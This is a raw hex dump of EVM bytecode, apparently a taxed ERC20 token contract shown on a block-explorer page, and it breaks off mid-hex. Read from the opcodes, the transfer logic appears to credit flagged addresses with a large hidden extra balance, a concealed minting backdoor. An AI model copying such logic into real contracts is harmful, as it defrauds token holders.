123d7565b60405180910390f35b3480156102c857600080fd5b506102d1610927565b6040516102de9190612258565b60405180910390f35b3480156102f357600080fd5b506102fc610931565b604051610309919061235d565b60405180910390f35b34801561031e57600080fd5b50610339600480360381019061033491906123f2565b610944565b604051610346919061235d565b60405180910390f35b34801561035b57600080fd5b50610364610a1d565b6040516103719190612461565b60405180910390f35b34801561038657600080fd5b506103a1600480360381019061039c919061247c565b610a34565b6040516103ae919061235d565b60405180910390f35b3480156103c357600080fd5b506103cc610a54565b6040516103d99190612461565b60405180910390f35b3480156103ee57600080fd5b506103f7610a79565b60405161040491906124b8565b60405180910390f35b34801561041957600080fd5b50610422610a9f565b60405161042f919061235d565b60405180910390f35b34801561044457600080fd5b5061044d610ab2565b60405161045a919061235d565b60405180910390f35b34801561046f57600080fd5b5061048a6004803603810190610485919061247c565b610ac5565b604051610497919061235d565b60405180910390f35b3480156104ac57600080fd5b506104c760048036038101906104c2919061247c565b610ae5565b6040516104d49190612258565b60405180910390f35b3480156104e957600080fd5b506104f2610b2e565b005b34801561050057600080fd5b50610509610c68565b6040516105169190612258565b60405180910390f35b34801561052b57600080fd5b50610534610c6e565b6040516105419190612258565b60405180910390f35b34801561055657600080fd5b50610571600480360381019061056c919061247c565b610c74565b60405161057e919061235d565b60405180910390f35b34801561059357600080fd5b5061059c610c94565b6040516105a991906124b8565b60405180910390f35b3480156105be57600080fd5b506105d960048036038101906105d4919061247c565b610cbd565b6040516105e6919061235d565b60405180910390f35b3480156105fb57600080fd5b50610604610cdd565b604051610611919061221d565b60405180910390f35b34801561062657600080fd5b50610641600480360381019061063c9190612302565b610d6f565b60405161064e919061235d565b60405180910390f35b34801561066357600080fd5b5061067e60048036038101906106799190612302565b610e22565b60405161068b919061235d565b60405180910390f35b3480156106a057600080fd5b506106bb60048036038101906106b69190612302565b610eef565b6040516106c8919061235d565b60405180910390f35b3480156106dd57600080fd5b506106e6610f0d565b6040516106f39190612258565b60405180910390f35b34801561070857600080fd5b50610711610f13565b60405161071e919061221d565b60405180910390f35b34801561073357600080fd5b5061073c610fa1565b60405161074991906124f4565b60405180910390f35b34801561075e57600080fd5b506107796004803603810190610774919061247c565b610fc7565b6040516107869190612258565b60405180910390f35b34801561079b57600080fd5b506107a4611042565b6040516107b1919061221d565b60405180910390f35b3480156107c657600080fd5b506107e160048036038101906107dc919061250f565b6110d0565b6040516107ee9190612258565b60405180910390f35b34801561080357600080fd5b5061081e6004803603810190610819919061247c565b611157565b005b34801561082c57600080fd5b506108356112ff565b6040516108429190612258565b60405180910390f35b60606008805461085a9061257e565b80601f01602080910402602001604051908101604052809291908181526020018280546108869061257e565b80156108d35780601f106108a8576101008083540402835291602001916108d3565b820191906000526020600020905b8154815290600101906020018083116108b657829003601f168201915b5050505050905090565b600f5481565b60006108f76108f0611331565b8484611339565b6001905092915050565b601760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600b54905090565b601960149054906101000a900460ff1681565b60006109518484846114cd565b610a128461095d611331565b610a0d85604051806060016040528060288152602001612da360289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006109c3611331565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a2d9092919063ffffffff16565b611339565b600190509392505050565b6000600a60009054906101000a900460ff16905090565b60066020528060005260406000206000915054906101000a900460ff1681565b6000601760009054906101000a900460ff16610a71576000610a74565b60015b905090565b601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601960159054906101000a900460ff1681565b601760009054906101000a900460ff1681565b60056020528060005260406000206000915054906101000a900460ff1681565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610b36611331565b73ffffffffffffffffffffffffffffffffffffffff16610b54610c94565b73ffffffffffffffffffffffffffffffffffffffff1614610baa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ba1906125fb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60135481565b60155481565b60046020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60076020528060005260406000206000915054906101000a900460ff1681565b606060098054610cec9061257e565b80601f0160208091040260200160405190810160405280929190818152602001828054610d189061257e565b8015610d655780601f10610d3a57610100808354040283529160200191610d65565b820191906000526020600020905b815481529060010190602001808311610d4857829003601f168201915b5050505050905090565b6000610e18610d7c611331565b84610e138560036000610d8d611331565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8290919063ffffffff16565b611339565b6001905092915050565b6000610ee5610e2f611331565b84610ee085604051806060016040528060258152602001612dcb6025913960036000610e59611331565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a2d9092919063ffffffff16565b611339565b6001905092915050565b6000610f03610efc611331565b84846114cd565b6001905092915050565b600b5481565b60098054610f209061257e565b80601f0160208091040260200160405190810160405280929190818152602001828054610f4c9061257e565b8015610f995780601f10610f6e57610100808354040283529160200191610f99565b820191906000526020600020905b815481529060010190602001808311610f7c57829003601f168201915b505050505081565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661102c57600180611027919061264a565b61103b565b601a600a61103a91906127b1565b5b9050919050565b6008805461104f9061257e565b80601f016020809104026020016040519081016040528092919081815260200182805461107b9061257e565b80156110c85780601f1061109d576101008083540402835291602001916110c8565b820191906000526020600020905b8154815290600101906020018083116110ab57829003601f168201915b505050505081565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61115f611331565b73ffffffffffffffffffffffffffffffffffffffff1661117d610c94565b73ffffffffffffffffffffffffffffffffffffffff16146111d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ca906125fb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611242576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112399061286e565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600e5481565b60008183611313919061288e565b905092915050565b6000818361132991906128ff565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156113a35750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b6113e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113d99061297c565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114c09190612258565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361153c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153390612a0e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036115ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115a290612aa0565b60405180910390fd5b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561164f5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561169a57601554811115611699576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161169090612b32565b60405180910390fd5b5b600c60019054906101000a900460ff1660ff16600c60009054906101000a900460ff1660ff16101580156116db5750601960149054906101000a900460ff16155b80156117355750601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561174d5750601960159054906101000a900460ff165b156117a0576000600c60006101000a81548160ff021916908360ff160217905550600061177930610ae5565b905060155481111561178b5760155490505b600081111561179e5761179d81611a98565b5b505b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661181b5760135461180f8261180185610ae5565b611a8290919063ffffffff16565b111561181a57600080fd5b5b600060019050600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806118c25750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156119575760009050600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156119315750601760009054906101000a900460ff16155b15611952576001601760006101000a81548160ff0219169083151502179055505b611a1b565b601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036119ba57600e54600d81905550611a1a565b601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611a1957600f54600d819055505b5b5b611a2784848484611b0c565b50505050565b6000838311158290611a75576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a6c919061221d565b60405180910390fd5b5082840390509392505050565b60008183611a909190612b52565b905092915050565b6001601960146101000a81548160ff021916908315150217905550611abc81611b8e565b6000479050611aed600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682611dd1565b506000601960146101000a81548160ff02191690831515021790555050565b80611b2a57611b2560018015611b20575060015b611e1c565b611b63565b600c600081819054906101000a900460ff1680929190611b4990612b86565b91906101000a81548160ff021916908360ff160217905550505b611b6e848484611e82565b80611b8857611b8760018015611b82575060015b6120d7565b5b50505050565b6000600267ffffffffffffffff811115611bab57611baa612baf565b5b604051908082528060200260200182016040528015611bd95781602001602082028036833780820191505090505b5090503081600081518110611bf157611bf0612bde565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611c98573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611cbc9190612c22565b81600181518110611cd057611ccf612bde565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611d3730601760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611339565b601760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611d9b959493929190612d48565b600060405180830381600087803b158015611db557600080fd5b505af1158015611dc9573d6000803e3d6000fd5b505050505050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611e17573d6000803e3d6000fd5b505050565b6000600d54148015611e2b5750805b8015611e3957506000600e54145b8015611e4757506000600f54145b611e7f57600e54601181905550600f54601281905550600d546010819055506000600e819055506000600f819055506000600d819055505b50565b600080611e8e83612132565b91509150611ee483600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461217790919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f93611f3385610fc7565b611f8584600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8290919063ffffffff16565b611a8290919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061202881600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8290919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516120c89190612258565b60405180910390a35050505050565b801561212f57601054600d81905550601154600e8190555060405180604001604052806012548152602001606281525061210f610a54565b60ff166002811061212357612122612bde565b5b6020020151600f819055505b50565b60008060006064600d5485612147919061288e565b61215191906128ff565b90506000612168828661217790919063ffffffff16565b90508082935093505050915091565b60008183612185919061264a565b905092915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156121c75780820151818401526020810190506121ac565b60008484015250505050565b6000601f19601f8301169050919050565b60006121ef8261218d565b6121f98185612198565b93506122098185602086016121a9565b612212816121d3565b840191505092915050565b6000602082019050818103600083015261223781846121e4565b905092915050565b6000819050919050565b6122528161223f565b82525050565b600060208201905061226d6000830184612249565b92915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006122a382612278565b9050919050565b6122b381612298565b81146122be57600080fd5b50565b6000813590506122d0816122aa565b92915050565b6122df8161223f565b81146122ea57600080fd5b50565b6000813590506122fc816122d6565b92915050565b6000806040838503121561231957612318612273565b5b6000612327858286016122c1565b9250506020612338858286016122ed565b9150509250929050565b60008115159050919050565b61235781612342565b82525050565b6000602082019050612372600083018461234e565b92915050565b6000819050919050565b600061239d61239861239384612278565b612378565b612278565b9050919050565b60006123af82612382565b9050919050565b60006123c1826123a4565b9050919050565b6123d1816123b6565b82525050565b60006020820190506123ec60008301846123c8565b92915050565b60008060006060848603121561240b5761240a612273565b5b6000612419868287016122c1565b935050602061242a868287016122c1565b925050604061243b868287016122ed565b9150509250925092565b600060ff82169050919050565b61245b81612445565b82525050565b60006020820190506124766000830184612452565b92915050565b60006020828403121561249257612491612273565b5b60006124a0848285016122c1565b91505092915050565b6124b281612298565b82525050565b60006020820190506124cd60008301846124a9565b92915050565b60006124de82612278565b9050919050565b6124ee816124d3565b82525050565b600060208201905061250960008301846124e5565b92915050565b6000806040838503121561252657612525612273565b5b6000612534858286016122c1565b9250506020612545858286016122c1565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061259657607f821691505b6020821081036125a9576125a861254f565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006125e5602083612198565b91506125f0826125af565b602082019050919050565b60006020820190508181036000830152612614816125d8565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006126558261223f565b91506126608361223f565b92508282039050818111156126785761267761261b565b5b92915050565b60008160011c9050919050565b6000808291508390505b60018511156126d5578086048111156126b1576126b061261b565b5b60018516156126c05780820291505b80810290506126ce8561267e565b9450612695565b94509492505050565b6000826126ee57600190506127aa565b816126fc57600090506127aa565b8160018114612712576002811461271c5761274b565b60019150506127aa565b60ff84111561272e5761272d61261b565b5b8360020a9150848211156127455761274461261b565b5b506127aa565b5060208310610133831016604e8410600b84101617156127805782820a90508381111561277b5761277a61261b565b5b6127aa565b61278d848484600161268b565b925090508184048111156127a4576127a361261b565b5b81810290505b9392505050565b60006127bc8261223f565b91506127c78361223f565b92506127f47fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846126de565b905092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000612858602683612198565b9150612863826127fc565b604082019050919050565b600060208201905081810360008301526128878161284b565b9050919050565b60006128998261223f565b91506128a48361223f565b92508282026128b28161223f565b915082820484148315176128c9576128c861261b565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061290a8261223f565b91506129158361223f565b925082612925576129246128d0565b5b828204905092915050565b7f4552523a207a65726f2061646472657373000000000000000000000000000000600082015250565b6000612966601183612198565b915061297182612930565b602082019050919050565b6000602082019050818103600083015261299581612959565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006129f8602583612198565b9150612a038261299c565b604082019050919050565b60006020820190508181036000830152612a27816129eb565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612a8a602383612198565b9150612a9582612a2e565b604082019050919050565b60006020820190508181036000830152612ab981612a7d565b9050919050565b7f5472616e7366657220616d6f756e74206578636565647320746865206d61785460008201527f78416d6f756e742e000000000000000000000000000000000000000000000000602082015250565b6000612b1c602883612198565b9150612b2782612ac0565b604082019050919050565b60006020820190508181036000830152612b4b81612b0f565b9050919050565b6000612b5d8261223f565b9150612b688361223f565b9250828201905080821115612b8057612b7f61261b565b5b92915050565b6000612b9182612445565b915060ff8203612ba457612ba361261b565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050612c1c816122aa565b92915050565b600060208284031215612c3857612c37612273565b5b6000612c4684828501612c0d565b91505092915050565b6000819050919050565b6000612c74612c6f612c6a84612c4f565b612378565b61223f565b9050919050565b612c8481612c59565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b612cbf81612298565b82525050565b6000612cd18383612cb6565b60208301905092915050565b6000602082019050919050565b6000612cf582612c8a565b612cff8185612c95565b9350612d0a83612ca6565b8060005b83811015612d3b578151612d228882612cc5565b9750612d2d83612cdd565b925050600181019050612d0e565b5085935050505092915050565b600060a082019050612d5d6000830188612249565b612d6a6020830187612c7b565b8181036040830152612d7c8186612cea565b9050612d8b60608301856124a9565b612d986080830184612249565b969550505050505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220d3e9ad2371c46920d9430a384eb0d9cb7a95319fa90567bbb046f2d1f328386864736f6c63430008120033
Deployed Bytecode
0x6080604052600436106101f25760003560e01c806378109e541161010d578063a9059cbb116100a0578063cba0e9961161006f578063cba0e99614610752578063d28d88521461078f578063dd62ed3e146107ba578063f2fde38b146107f7578063f45128f514610820576101f9565b8063a9059cbb14610694578063af465a27146106d1578063b09f1266146106fc578063c16bae9b14610727576101f9565b806392813800116100dc57806392813800146105b257806395d89b41146105ef5780639faf70001461061a5780639fb7973714610657576101f9565b806378109e54146104f45780637d1db4a51461051f5780637ed41bcc1461054a5780638da5cb5b14610587576101f9565b80633ac656e81161018557806356e567611161015457806356e5676114610438578063673a6dad1461046357806370a08231146104a0578063715018a6146104dd576101f9565b80633ac656e81461037a57806343dee2f8146103b757806349bd5a5e146103e25780634a74bb021461040d576101f9565b806318160ddd116101c157806318160ddd146102bc578063220f6696146102e757806323b872dd14610312578063313ce5671461034f576101f9565b806306fdde03146101fe5780630787b15d14610229578063095ea7b3146102545780631694505e14610291576101f9565b366101f957005b600080fd5b34801561020a57600080fd5b5061021361084b565b604051610220919061221d565b60405180910390f35b34801561023557600080fd5b5061023e6108dd565b60405161024b9190612258565b60405180910390f35b34801561026057600080fd5b5061027b60048036038101906102769190612302565b6108e3565b604051610288919061235d565b60405180910390f35b34801561029d57600080fd5b506102a6610901565b6040516102b391906123d7565b60405180910390f35b3480156102c857600080fd5b506102d1610927565b6040516102de9190612258565b60405180910390f35b3480156102f357600080fd5b506102fc610931565b604051610309919061235d565b60405180910390f35b34801561031e57600080fd5b50610339600480360381019061033491906123f2565b610944565b604051610346919061235d565b60405180910390f35b34801561035b57600080fd5b50610364610a1d565b6040516103719190612461565b60405180910390f35b34801561038657600080fd5b506103a1600480360381019061039c919061247c565b610a34565b6040516103ae919061235d565b60405180910390f35b3480156103c357600080fd5b506103cc610a54565b6040516103d99190612461565b60405180910390f35b3480156103ee57600080fd5b506103f7610a79565b60405161040491906124b8565b60405180910390f35b34801561041957600080fd5b50610422610a9f565b60405161042f919061235d565b60405180910390f35b34801561044457600080fd5b5061044d610ab2565b60405161045a919061235d565b60405180910390f35b34801561046f57600080fd5b5061048a6004803603810190610485919061247c565b610ac5565b604051610497919061235d565b60405180910390f35b3480156104ac57600080fd5b506104c760048036038101906104c2919061247c565b610ae5565b6040516104d49190612258565b60405180910390f35b3480156104e957600080fd5b506104f2610b2e565b005b34801561050057600080fd5b50610509610c68565b6040516105169190612258565b60405180910390f35b34801561052b57600080fd5b50610534610c6e565b6040516105419190612258565b60405180910390f35b34801561055657600080fd5b50610571600480360381019061056c919061247c565b610c74565b60405161057e919061235d565b60405180910390f35b34801561059357600080fd5b5061059c610c94565b6040516105a991906124b8565b60405180910390f35b3480156105be57600080fd5b506105d960048036038101906105d4919061247c565b610cbd565b6040516105e6919061235d565b60405180910390f35b3480156105fb57600080fd5b50610604610cdd565b604051610611919061221d565b60405180910390f35b34801561062657600080fd5b50610641600480360381019061063c9190612302565b610d6f565b60405161064e919061235d565b60405180910390f35b34801561066357600080fd5b5061067e60048036038101906106799190612302565b610e22565b60405161068b919061235d565b60405180910390f35b3480156106a057600080fd5b506106bb60048036038101906106b69190612302565b610eef565b6040516106c8919061235d565b60405180910390f35b3480156106dd57600080fd5b506106e6610f0d565b6040516106f39190612258565b60405180910390f35b34801561070857600080fd5b50610711610f13565b60405161071e919061221d565b60405180910390f35b34801561073357600080fd5b5061073c610fa1565b60405161074991906124f4565b60405180910390f35b34801561075e57600080fd5b506107796004803603810190610774919061247c565b610fc7565b6040516107869190612258565b60405180910390f35b34801561079b57600080fd5b506107a4611042565b6040516107b1919061221d565b60405180910390f35b3480156107c657600080fd5b506107e160048036038101906107dc919061250f565b6110d0565b6040516107ee9190612258565b60405180910390f35b34801561080357600080fd5b5061081e6004803603810190610819919061247c565b611157565b005b34801561082c57600080fd5b506108356112ff565b6040516108429190612258565b60405180910390f35b60606008805461085a9061257e565b80601f01602080910402602001604051908101604052809291908181526020018280546108869061257e565b80156108d35780601f106108a8576101008083540402835291602001916108d3565b820191906000526020600020905b8154815290600101906020018083116108b657829003601f168201915b5050505050905090565b600f5481565b60006108f76108f0611331565b8484611339565b6001905092915050565b601760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600b54905090565b601960149054906101000a900460ff1681565b60006109518484846114cd565b610a128461095d611331565b610a0d85604051806060016040528060288152602001612da360289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006109c3611331565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a2d9092919063ffffffff16565b611339565b600190509392505050565b6000600a60009054906101000a900460ff16905090565b60066020528060005260406000206000915054906101000a900460ff1681565b6000601760009054906101000a900460ff16610a71576000610a74565b60015b905090565b601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601960159054906101000a900460ff1681565b601760009054906101000a900460ff1681565b60056020528060005260406000206000915054906101000a900460ff1681565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610b36611331565b73ffffffffffffffffffffffffffffffffffffffff16610b54610c94565b73ffffffffffffffffffffffffffffffffffffffff1614610baa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ba1906125fb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60135481565b60155481565b60046020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60076020528060005260406000206000915054906101000a900460ff1681565b606060098054610cec9061257e565b80601f0160208091040260200160405190810160405280929190818152602001828054610d189061257e565b8015610d655780601f10610d3a57610100808354040283529160200191610d65565b820191906000526020600020905b815481529060010190602001808311610d4857829003601f168201915b5050505050905090565b6000610e18610d7c611331565b84610e138560036000610d8d611331565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8290919063ffffffff16565b611339565b6001905092915050565b6000610ee5610e2f611331565b84610ee085604051806060016040528060258152602001612dcb6025913960036000610e59611331565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a2d9092919063ffffffff16565b611339565b6001905092915050565b6000610f03610efc611331565b84846114cd565b6001905092915050565b600b5481565b60098054610f209061257e565b80601f0160208091040260200160405190810160405280929190818152602001828054610f4c9061257e565b8015610f995780601f10610f6e57610100808354040283529160200191610f99565b820191906000526020600020905b815481529060010190602001808311610f7c57829003601f168201915b505050505081565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661102c57600180611027919061264a565b61103b565b601a600a61103a91906127b1565b5b9050919050565b6008805461104f9061257e565b80601f016020809104026020016040519081016040528092919081815260200182805461107b9061257e565b80156110c85780601f1061109d576101008083540402835291602001916110c8565b820191906000526020600020905b8154815290600101906020018083116110ab57829003601f168201915b505050505081565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61115f611331565b73ffffffffffffffffffffffffffffffffffffffff1661117d610c94565b73ffffffffffffffffffffffffffffffffffffffff16146111d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ca906125fb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611242576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112399061286e565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600e5481565b60008183611313919061288e565b905092915050565b6000818361132991906128ff565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156113a35750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b6113e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113d99061297c565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114c09190612258565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361153c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153390612a0e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036115ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115a290612aa0565b60405180910390fd5b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561164f5